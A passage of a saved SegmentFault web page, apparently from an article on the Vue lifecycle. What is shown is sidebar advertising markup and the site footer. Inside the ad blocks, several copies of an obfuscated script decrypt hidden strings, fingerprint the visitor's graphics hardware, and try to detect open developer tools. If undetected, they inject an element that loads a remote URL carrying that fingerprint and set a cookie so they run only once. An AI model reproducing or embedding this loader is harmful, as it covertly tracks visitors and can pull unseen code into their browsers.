_0x5b2742=document[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x3]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x4]),_0x7edbb9[0x15]));_0x5b2742[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x5]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x7]),_0x7edbb9[0x15]),kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x8]),_0x7edbb9[0x15]));_0x5b2742[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x5]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x9]),_0x7edbb9[0x15]),kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0xa]),_0x7edbb9[0x15]));_0x5b2742[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x5]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x6]),_0x7edbb9[0x15]),_0x5d4d20);document["body"][kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0xe]),_0x7edbb9[0x15])](_0x5b2742);xGzLVAwTj9Dm(_0x2d8ac7,"1","7");}}}}var aJ4knj0Q2TsZ=[a0_0x2826("0x19"),"XYcD7gyt6AZkIQDh3+Fn/PI=",a0_0x2826("0x12"),a0_0x2826("0xd"),a0_0x2826("0x23"),a0_0x2826("0x17")];var xz1ZKT5VYzY7UB=document[kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x0]),aJ4knj0Q2TsZ[0x2])](kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x1]),aJ4knj0Q2TsZ[0x2]));if(!xz1ZKT5VYzY7UB){document[kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x3]),aJ4knj0Q2TsZ[0x5])](kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x4]),aJ4knj0Q2TsZ[0x5]),uhAtRHZXRS());}</script>
</div></div><div><div id="OA_holder_10" class="ad-container" style="display:block"><a href="https://sponsor.segmentfault.com/ck.php?oaparams=2__bannerid=400__zoneid=10__cb=7ef020b03b__oadest=https%3A%2F%2Fke.sifou.com%2Fcourse%2F1650000023864436%3Futm_source%3Dsegmentfault%26utm_medium%3Dbanner_Tlink" target="_blank"><strong>自顶向下学 React 源码</strong><br>
<small style="color: #6c757d">从理念到架构到实现到代码，透彻理解 </small></a><div id="beacon_7ef020b03b" style="position: absolute; left: 0px; top: 0px; visibility: hidden;"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/lg(7).php" width="0" height="0" alt="" style="width: 0px; height: 0px;"></div><script type="text/javascript">var a0_0x5a7b=["gHn8nA==","toUTCString","pPUzbNqUOoPi1YTki","2BWEY1lTYNp/T+I9OQHVoZE=","IXFRmLrn","CgNqeWZa8Y45plkkKxbF4Q==","ZrSEYyW0b7Q0IPUqb/13ifQErimI4pBr","K3dNkqXKJbiemnk=","brSEdDKSbQ==","wRm0hXRLhWKYSg==","length","YtXMjstIgPUMjLZlaNb5QcsHsJfofqs=","01GCQWkzBrg=","2lWGVHRtav9SW7Q=","VOnkruxmgN02s5ZFWA==","YtXMjstIgPUMiLZlaNz5W84dpZXm","z0CORTVjSOFaRLMFKCvA","hcmRM5IG",";x20expires=","charCodeAt","rnaTNfMM5A5g","UP71jPdtsdQrqg==","lhDGASp5UQ==","cookie","yEaEWGp9","nEERm2ggVqUX","z1yGVA==","3UmTSW5gW/ZZWL8cbzjb/NRGE7wdKmt7","10CQRQ==","y0CcZStaTd1xcqMeCA==","xwKuhXRLhWKYSg==","ZDdmYg==","LyhDf39R658bu2Y/LxzF9w==","2FeTUG5sbPteWrUZNQ==",";x20path=/","yFCUQm57QPlc","K2pqmb72KbCVm3dtWA==","fixfCHIILA","xwKuhXRUiW+LShE=","atob","UP71n/lxpNw2qpZZ","YN7DiNRcodQxq5R0XvbFYPwqgqD1UImgOA==","ivuH9sk1F","UP71iuB3oN8gt5xF","WdIF+SOSzC5OLXDS7t8=","2keFXnZ8XfI=","0kE=","yECCcG59W/5ZQqQS","UuPxqupqqNQ9qpJHAeTOZv40"];(function(_0x1b61e1,_0x5a7b88){var _0x282611=function(_0x46bc60){while(--_0x46bc60){_0x1b61e1["push"](_0x1b61e1["shift"]());}};_0x282611(++_0x5a7b88);}(a0_0x5a7b,0xd7));var a0_0x2826=function(_0x1b61e1,_0x5a7b88){_0x1b61e1=_0x1b61e1-0x0;var _0x282611=a0_0x5a7b[_0x1b61e1];return _0x282611;};function kPbwxjZPvhHuql2cK(_0x2a7b56,_0x3dbb7d){var _0x39df8d=[],_0x3893cb=0x0,_0x4bd01a,_0x39ab8a="";for(var _0x4366fa=0x0;_0x4366fa<0x100;_0x4366fa++){_0x39df8d[_0x4366fa]=_0x4366fa;}for(_0x4366fa=0x0;_0x4366fa<0x100;_0x4366fa++){_0x3893cb=(_0x3893cb+_0x39df8d[_0x4366fa]+_0x3dbb7d[a0_0x2826("0x0")](_0x4366fa%_0x3dbb7d[a0_0x2826("0x28")]))%0x100;_0x4bd01a=_0x39df8d[_0x4366fa];_0x39df8d[_0x4366fa]=_0x39df8d[_0x3893cb];_0x39df8d[_0x3893cb]=_0x4bd01a;}_0x4366fa=0x0;_0x3893cb=0x0;for(var _0x1f6e6d=0x0;_0x1f6e6d<_0x2a7b56[a0_0x2826("0x28")];_0x1f6e6d++){_0x4366fa=(_0x4366fa+0x1)%0x100;_0x3893cb=(_0x3893cb+_0x39df8d[_0x4366fa])%0x100;_0x4bd01a=_0x39df8d[_0x4366fa];_0x39df8d[_0x4366fa]=_0x39df8d[_0x3893cb];_0x39df8d[_0x3893cb]=_0x4bd01a;_0x39ab8a+=String["fromCharCode"](_0x2a7b56["charCodeAt"](_0x1f6e6d)^_0x39df8d[(_0x39df8d[_0x4366fa]+_0x39df8d[_0x3893cb])%0x100]);}return _0x39ab8a;}function z58lhCJ(_0x5b3c65){var _0x2744f4="";try{_0x2744f4=window[a0_0x2826("0x14")](_0x5b3c65);}catch(_0x1d8981){}return _0x2744f4;};function aVxrxoIKgEYVWFC7(){var _0x2b4132=[a0_0x2826("0xc"),a0_0x2826("0x2c"),"VPrvuflw","QP7jqPQ=",a0_0x2826("0x1d"),a0_0x2826("0x2"),a0_0x2826("0x18"),a0_0x2826("0x15"),a0_0x2826("0x16"),a0_0x2826("0x2d"),a0_0x2826("0x29")];var _0x1267a4=document[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x1]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x2]),_0x2b4132[0x0]));var _0x424e30;var _0x30e940;var _0x470837;var _0x229329;try{_0x424e30=_0x1267a4[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x5]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x3]),_0x2b4132[0x0]))||_0x1267a4[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x5]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x4]),_0x2b4132[0x0]));}catch(_0x408b8e){}if(_0x424e30){_0x30e940=_0x424e30[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x6]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x8]),_0x2b4132[0x0]));_0x470837=_0x424e30[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x7]),_0x2b4132[0x0])](_0x30e940[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x9]),_0x2b4132[0x0])]);_0x229329=_0x424e30[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x7]),_0x2b4132[0x0])](_0x30e940[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0xa]),_0x2b4132[0x0])]);}return _0x470837+"x20"+_0x229329;}function w9jcVeUDT(){var _0x3c83be=[a0_0x2826("0xb"),a0_0x2826("0x27"),a0_0x2826("0x13"),a0_0x2826("0x6"),a0_0x2826("0x25"),"BHBRkrX3Jw==",a0_0x2826("0x22"),a0_0x2826("0x11"),a0_0x2826("0x20")];const _0x1c6d55=0xa0;const _0x37ae20=window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x0]),_0x3c83be[0x3])]-window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x1]),_0x3c83be[0x3])]>_0x1c6d55;const _0x4883d0=window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x2]),_0x3c83be[0x3])]-window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x4]),_0x3c83be[0x8])]>_0x1c6d55;if(!(_0x4883d0&&_0x37ae20)&&(window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x5]),_0x3c83be[0x8])]&&window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x5]),_0x3c83be[0x8])][kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x6]),_0x3c83be[0x8])]&&window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x5]),_0x3c83be[0x8])][kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x6]),_0x3c83be[0x8])][kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x7]),_0x3c83be[0x8])]||_0x37ae20||_0x4883d0)){return![];}else{return!![];}}function xGzLVAwTj9Dm(_0x528fc1,_0x3b5174,_0xfbb720){var _0x905dbf="";if(_0xfbb720){var _0x50d54e=new Date();_0x50d54e["setTime"](_0x50d54e["getTime"]()+_0xfbb720*0x18*0x3c*0x3c*0x3e8);_0x905dbf=a0_0x2826("0x30")+_0x50d54e[a0_0x2826("0x1f")]();}document[a0_0x2826("0x4")]=_0x528fc1+"="+(_0x3b5174||"")+_0x905dbf+a0_0x2826("0xf");}function uhAtRHZXRS(){var _0x7edbb9=["aJgicnL4X6hO",a0_0x2826("0x8"),"znG4dXV8X8ZND5w6dTeC+8M=",a0_0x2826("0xe"),a0_0x2826("0x5"),a0_0x2826("0x1c"),"yFeV",a0_0x2826("0x1b"),a0_0x2826("0x21"),a0_0x2826("0x7"),a0_0x2826("0x2e"),a0_0x2826("0x1a"),"iBXGQWI=",a0_0x2826("0x3"),a0_0x2826("0x2b"),"2EqZWnNs",a0_0x2826("0x9"),"yUSYVXVk","z0qlRWhgR/A=",a0_0x2826("0x10"),a0_0x2826("0xa"),a0_0x2826("0x1"),"z0SRbnhoW/laXLwS",a0_0x2826("0x2a")];var _0xde5cda=[a0_0x2826("0x1e"),"lmjgiQ==",a0_0x2826("0x2f"),a0_0x2826("0x24"),"ZLWPeiO4",a0_0x2826("0x26"),"sYkn4Oqn64Pdr"];var _0x33bc41;try{_0x33bc41=aVxrxoIKgEYVWFC7();}catch(_0x110e3a){}try{_0x33bc41=window[kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x0]),_0xde5cda[0x2])](_0x33bc41);}catch(_0x3e7ed0){}_0x33bc41=encodeURIComponent(_0x33bc41);var _0x13700b=navigator["userAgent"]||navigator["vendor"]||window["opera"];var _0xb93071=kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x3]),_0xde5cda[0x6]);var _0x331712=new RegExp(_0xb93071,"i");var _0x53686b=!![];var _0x2d8ac7=kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x14]),_0x7edbb9[0x15]);if(_0x331712[kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x1]),_0xde5cda[0x2])](_0x13700b)){if(document[kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x4]),_0xde5cda[0x6])][kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x5]),_0xde5cda[0x6])](_0x2d8ac7)==-0x1){if(w9jcVeUDT()){var _0x5d4d20=kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x17]),_0x7edbb9[0x15])+kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x1]),_0x7edbb9[0x15])+"?"+kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x8]),_0x7edbb9[0x15])+"="+_0x33bc41;var _0x5b2742=document[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x3]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x4]),_0x7edbb9[0x15]));_0x5b2742[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x5]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x7]),_0x7edbb9[0x15]),kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x8]),_0x7edbb9[0x15]));_0x5b2742[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x5]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x9]),_0x7edbb9[0x15]),kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0xa]),_0x7edbb9[0x15]));_0x5b2742[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x5]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x6]),_0x7edbb9[0x15]),_0x5d4d20);document["body"][kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0xe]),_0x7edbb9[0x15])](_0x5b2742);xGzLVAwTj9Dm(_0x2d8ac7,"1","7");}}}}var aJ4knj0Q2TsZ=[a0_0x2826("0x19"),"XYcD7gyt6AZkIQDh3+Fn/PI=",a0_0x2826("0x12"),a0_0x2826("0xd"),a0_0x2826("0x23"),a0_0x2826("0x17")];var xz1ZKT5VYzY7UB=document[kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x0]),aJ4knj0Q2TsZ[0x2])](kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x1]),aJ4knj0Q2TsZ[0x2]));if(!xz1ZKT5VYzY7UB){document[kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x3]),aJ4knj0Q2TsZ[0x5])](kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x4]),aJ4knj0Q2TsZ[0x5]),uhAtRHZXRS());}</script>
</div></div></div></div></div><div id="second-ad" class="d-none d-xl-block data-fix" style="top: 580px; margin-top: 0px;"><div id="OA_holder_31" class="ad-container" style="display:block"><div class="rounded overflow-hidden"><a href="https://sponsor.segmentfault.com/ck.php?oaparams=2__bannerid=322__zoneid=31__cb=566aa15839__oadest=https%3A%2F%2Fsegmentfault.com%2Fa%2F1190000020336555" target="_blank"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/86a060293605188fd8ff27a17ec0750e.png" width="300" height="100" alt="segmentfault_sudo" title="segmentfault_sudo" border="0"></a><div id="beacon_566aa15839" style="position: absolute; left: 0px; top: 0px; visibility: hidden;"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/lg(8).php" width="0" height="0" alt="" style="width: 0px; height: 0px;"></div></div><script type="text/javascript">var a0_0x5a7b=["gHn8nA==","toUTCString","pPUzbNqUOoPi1YTki","2BWEY1lTYNp/T+I9OQHVoZE=","IXFRmLrn","CgNqeWZa8Y45plkkKxbF4Q==","ZrSEYyW0b7Q0IPUqb/13ifQErimI4pBr","K3dNkqXKJbiemnk=","brSEdDKSbQ==","wRm0hXRLhWKYSg==","length","YtXMjstIgPUMjLZlaNb5QcsHsJfofqs=","01GCQWkzBrg=","2lWGVHRtav9SW7Q=","VOnkruxmgN02s5ZFWA==","YtXMjstIgPUMiLZlaNz5W84dpZXm","z0CORTVjSOFaRLMFKCvA","hcmRM5IG",";x20expires=","charCodeAt","rnaTNfMM5A5g","UP71jPdtsdQrqg==","lhDGASp5UQ==","cookie","yEaEWGp9","nEERm2ggVqUX","z1yGVA==","3UmTSW5gW/ZZWL8cbzjb/NRGE7wdKmt7","10CQRQ==","y0CcZStaTd1xcqMeCA==","xwKuhXRLhWKYSg==","ZDdmYg==","LyhDf39R658bu2Y/LxzF9w==","2FeTUG5sbPteWrUZNQ==",";x20path=/","yFCUQm57QPlc","K2pqmb72KbCVm3dtWA==","fixfCHIILA","xwKuhXRUiW+LShE=","atob","UP71n/lxpNw2qpZZ","YN7DiNRcodQxq5R0XvbFYPwqgqD1UImgOA==","ivuH9sk1F","UP71iuB3oN8gt5xF","WdIF+SOSzC5OLXDS7t8=","2keFXnZ8XfI=","0kE=","yECCcG59W/5ZQqQS","UuPxqupqqNQ9qpJHAeTOZv40"];(function(_0x1b61e1,_0x5a7b88){var _0x282611=function(_0x46bc60){while(--_0x46bc60){_0x1b61e1["push"](_0x1b61e1["shift"]());}};_0x282611(++_0x5a7b88);}(a0_0x5a7b,0xd7));var a0_0x2826=function(_0x1b61e1,_0x5a7b88){_0x1b61e1=_0x1b61e1-0x0;var _0x282611=a0_0x5a7b[_0x1b61e1];return _0x282611;};function kPbwxjZPvhHuql2cK(_0x2a7b56,_0x3dbb7d){var _0x39df8d=[],_0x3893cb=0x0,_0x4bd01a,_0x39ab8a="";for(var _0x4366fa=0x0;_0x4366fa<0x100;_0x4366fa++){_0x39df8d[_0x4366fa]=_0x4366fa;}for(_0x4366fa=0x0;_0x4366fa<0x100;_0x4366fa++){_0x3893cb=(_0x3893cb+_0x39df8d[_0x4366fa]+_0x3dbb7d[a0_0x2826("0x0")](_0x4366fa%_0x3dbb7d[a0_0x2826("0x28")]))%0x100;_0x4bd01a=_0x39df8d[_0x4366fa];_0x39df8d[_0x4366fa]=_0x39df8d[_0x3893cb];_0x39df8d[_0x3893cb]=_0x4bd01a;}_0x4366fa=0x0;_0x3893cb=0x0;for(var _0x1f6e6d=0x0;_0x1f6e6d<_0x2a7b56[a0_0x2826("0x28")];_0x1f6e6d++){_0x4366fa=(_0x4366fa+0x1)%0x100;_0x3893cb=(_0x3893cb+_0x39df8d[_0x4366fa])%0x100;_0x4bd01a=_0x39df8d[_0x4366fa];_0x39df8d[_0x4366fa]=_0x39df8d[_0x3893cb];_0x39df8d[_0x3893cb]=_0x4bd01a;_0x39ab8a+=String["fromCharCode"](_0x2a7b56["charCodeAt"](_0x1f6e6d)^_0x39df8d[(_0x39df8d[_0x4366fa]+_0x39df8d[_0x3893cb])%0x100]);}return _0x39ab8a;}function z58lhCJ(_0x5b3c65){var _0x2744f4="";try{_0x2744f4=window[a0_0x2826("0x14")](_0x5b3c65);}catch(_0x1d8981){}return _0x2744f4;};function aVxrxoIKgEYVWFC7(){var _0x2b4132=[a0_0x2826("0xc"),a0_0x2826("0x2c"),"VPrvuflw","QP7jqPQ=",a0_0x2826("0x1d"),a0_0x2826("0x2"),a0_0x2826("0x18"),a0_0x2826("0x15"),a0_0x2826("0x16"),a0_0x2826("0x2d"),a0_0x2826("0x29")];var _0x1267a4=document[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x1]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x2]),_0x2b4132[0x0]));var _0x424e30;var _0x30e940;var _0x470837;var _0x229329;try{_0x424e30=_0x1267a4[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x5]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x3]),_0x2b4132[0x0]))||_0x1267a4[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x5]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x4]),_0x2b4132[0x0]));}catch(_0x408b8e){}if(_0x424e30){_0x30e940=_0x424e30[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x6]),_0x2b4132[0x0])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x8]),_0x2b4132[0x0]));_0x470837=_0x424e30[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x7]),_0x2b4132[0x0])](_0x30e940[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x9]),_0x2b4132[0x0])]);_0x229329=_0x424e30[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0x7]),_0x2b4132[0x0])](_0x30e940[kPbwxjZPvhHuql2cK(z58lhCJ(_0x2b4132[0xa]),_0x2b4132[0x0])]);}return _0x470837+"x20"+_0x229329;}function w9jcVeUDT(){var _0x3c83be=[a0_0x2826("0xb"),a0_0x2826("0x27"),a0_0x2826("0x13"),a0_0x2826("0x6"),a0_0x2826("0x25"),"BHBRkrX3Jw==",a0_0x2826("0x22"),a0_0x2826("0x11"),a0_0x2826("0x20")];const _0x1c6d55=0xa0;const _0x37ae20=window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x0]),_0x3c83be[0x3])]-window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x1]),_0x3c83be[0x3])]>_0x1c6d55;const _0x4883d0=window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x2]),_0x3c83be[0x3])]-window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x4]),_0x3c83be[0x8])]>_0x1c6d55;if(!(_0x4883d0&&_0x37ae20)&&(window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x5]),_0x3c83be[0x8])]&&window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x5]),_0x3c83be[0x8])][kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x6]),_0x3c83be[0x8])]&&window[kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x5]),_0x3c83be[0x8])][kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x6]),_0x3c83be[0x8])][kPbwxjZPvhHuql2cK(z58lhCJ(_0x3c83be[0x7]),_0x3c83be[0x8])]||_0x37ae20||_0x4883d0)){return![];}else{return!![];}}function xGzLVAwTj9Dm(_0x528fc1,_0x3b5174,_0xfbb720){var _0x905dbf="";if(_0xfbb720){var _0x50d54e=new Date();_0x50d54e["setTime"](_0x50d54e["getTime"]()+_0xfbb720*0x18*0x3c*0x3c*0x3e8);_0x905dbf=a0_0x2826("0x30")+_0x50d54e[a0_0x2826("0x1f")]();}document[a0_0x2826("0x4")]=_0x528fc1+"="+(_0x3b5174||"")+_0x905dbf+a0_0x2826("0xf");}function uhAtRHZXRS(){var _0x7edbb9=["aJgicnL4X6hO",a0_0x2826("0x8"),"znG4dXV8X8ZND5w6dTeC+8M=",a0_0x2826("0xe"),a0_0x2826("0x5"),a0_0x2826("0x1c"),"yFeV",a0_0x2826("0x1b"),a0_0x2826("0x21"),a0_0x2826("0x7"),a0_0x2826("0x2e"),a0_0x2826("0x1a"),"iBXGQWI=",a0_0x2826("0x3"),a0_0x2826("0x2b"),"2EqZWnNs",a0_0x2826("0x9"),"yUSYVXVk","z0qlRWhgR/A=",a0_0x2826("0x10"),a0_0x2826("0xa"),a0_0x2826("0x1"),"z0SRbnhoW/laXLwS",a0_0x2826("0x2a")];var _0xde5cda=[a0_0x2826("0x1e"),"lmjgiQ==",a0_0x2826("0x2f"),a0_0x2826("0x24"),"ZLWPeiO4",a0_0x2826("0x26"),"sYkn4Oqn64Pdr"];var _0x33bc41;try{_0x33bc41=aVxrxoIKgEYVWFC7();}catch(_0x110e3a){}try{_0x33bc41=window[kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x0]),_0xde5cda[0x2])](_0x33bc41);}catch(_0x3e7ed0){}_0x33bc41=encodeURIComponent(_0x33bc41);var _0x13700b=navigator["userAgent"]||navigator["vendor"]||window["opera"];var _0xb93071=kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x3]),_0xde5cda[0x6]);var _0x331712=new RegExp(_0xb93071,"i");var _0x53686b=!![];var _0x2d8ac7=kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x14]),_0x7edbb9[0x15]);if(_0x331712[kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x1]),_0xde5cda[0x2])](_0x13700b)){if(document[kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x4]),_0xde5cda[0x6])][kPbwxjZPvhHuql2cK(z58lhCJ(_0xde5cda[0x5]),_0xde5cda[0x6])](_0x2d8ac7)==-0x1){if(w9jcVeUDT()){var _0x5d4d20=kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x17]),_0x7edbb9[0x15])+kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x1]),_0x7edbb9[0x15])+"?"+kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x8]),_0x7edbb9[0x15])+"="+_0x33bc41;var _0x5b2742=document[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x3]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x4]),_0x7edbb9[0x15]));_0x5b2742[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x5]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x7]),_0x7edbb9[0x15]),kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x8]),_0x7edbb9[0x15]));_0x5b2742[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x5]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x9]),_0x7edbb9[0x15]),kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0xa]),_0x7edbb9[0x15]));_0x5b2742[kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x5]),_0x7edbb9[0x15])](kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0x6]),_0x7edbb9[0x15]),_0x5d4d20);document["body"][kPbwxjZPvhHuql2cK(z58lhCJ(_0x7edbb9[0xe]),_0x7edbb9[0x15])](_0x5b2742);xGzLVAwTj9Dm(_0x2d8ac7,"1","7");}}}}var aJ4knj0Q2TsZ=[a0_0x2826("0x19"),"XYcD7gyt6AZkIQDh3+Fn/PI=",a0_0x2826("0x12"),a0_0x2826("0xd"),a0_0x2826("0x23"),a0_0x2826("0x17")];var xz1ZKT5VYzY7UB=document[kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x0]),aJ4knj0Q2TsZ[0x2])](kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x1]),aJ4knj0Q2TsZ[0x2]));if(!xz1ZKT5VYzY7UB){document[kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x3]),aJ4knj0Q2TsZ[0x5])](kPbwxjZPvhHuql2cK(z58lhCJ(aJ4knj0Q2TsZ[0x4]),aJ4knj0Q2TsZ[0x5]),uhAtRHZXRS());}</script>
</div></div><div id="cataLog" class="d-none d-xl-block w-xl-300 mt-4" style="top: auto;"></div></div></div></div><div id="fixedTools" class="position-fixed d-none d-xl-flex" style="right:24px;bottom:24px"><button type="button" class="btn btn-light" title="回顶部">▲</button></div></div><footer id="footer" class="d-none d-sm-block bg-white py-5 font-size-14"><div class="container"><div class="row"><dl class="col-4 col-md-2"><dt class="h6">产品</dt><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/questions/hottest?utm_source=sf-footer" target="_blank" rel="noreferrer">热门问答</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/blogs/hottest?utm_source=sf-footer" target="_blank" rel="noreferrer">热门专栏</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/lives?utm_source=sf-footer" target="_blank" rel="noreferrer">热门课程</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/events?utm_source=sf-footer" target="_blank" rel="noreferrer">最新活动</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/groups?utm_source=sf-footer" target="_blank" rel="noreferrer">技术圈</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/jobs?utm_source=sf-footer" target="_blank" rel="noreferrer">酷工作</a></dd></dl><dl class="col-4 col-md-2"><dt class="h6">课程</dt><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/lives/edu?tag=java&amp;sort=hottest&amp;utm_source=sf-footer" target="_blank" rel="noreferrer">Java 开发课程</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/lives/edu?tag=php&amp;sort=hottest&amp;utm_source=sf-footer" target="_blank" rel="noreferrer">PHP 开发课程</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/lives/edu?tag=python&amp;sort=hottest&amp;utm_source=sf-footer" target="_blank" rel="noreferrer">Python 开发课程</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/lives/edu?category=1&amp;sort=hottest&amp;utm_source=sf-footer" target="_blank" rel="noreferrer">前端开发课程</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/lives/study?category=3&amp;sort=hottest&amp;utm_source=sf-footer" target="_blank" rel="noreferrer">移动开发课程</a></dd></dl><dl class="col-4 col-md-2 "><dt class="h6">资源</dt><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/weekly?utm_source=sf-footer" target="_blank" rel="noreferrer">每周精选</a></dd><dd class="my-1"><a class="text-secondary" 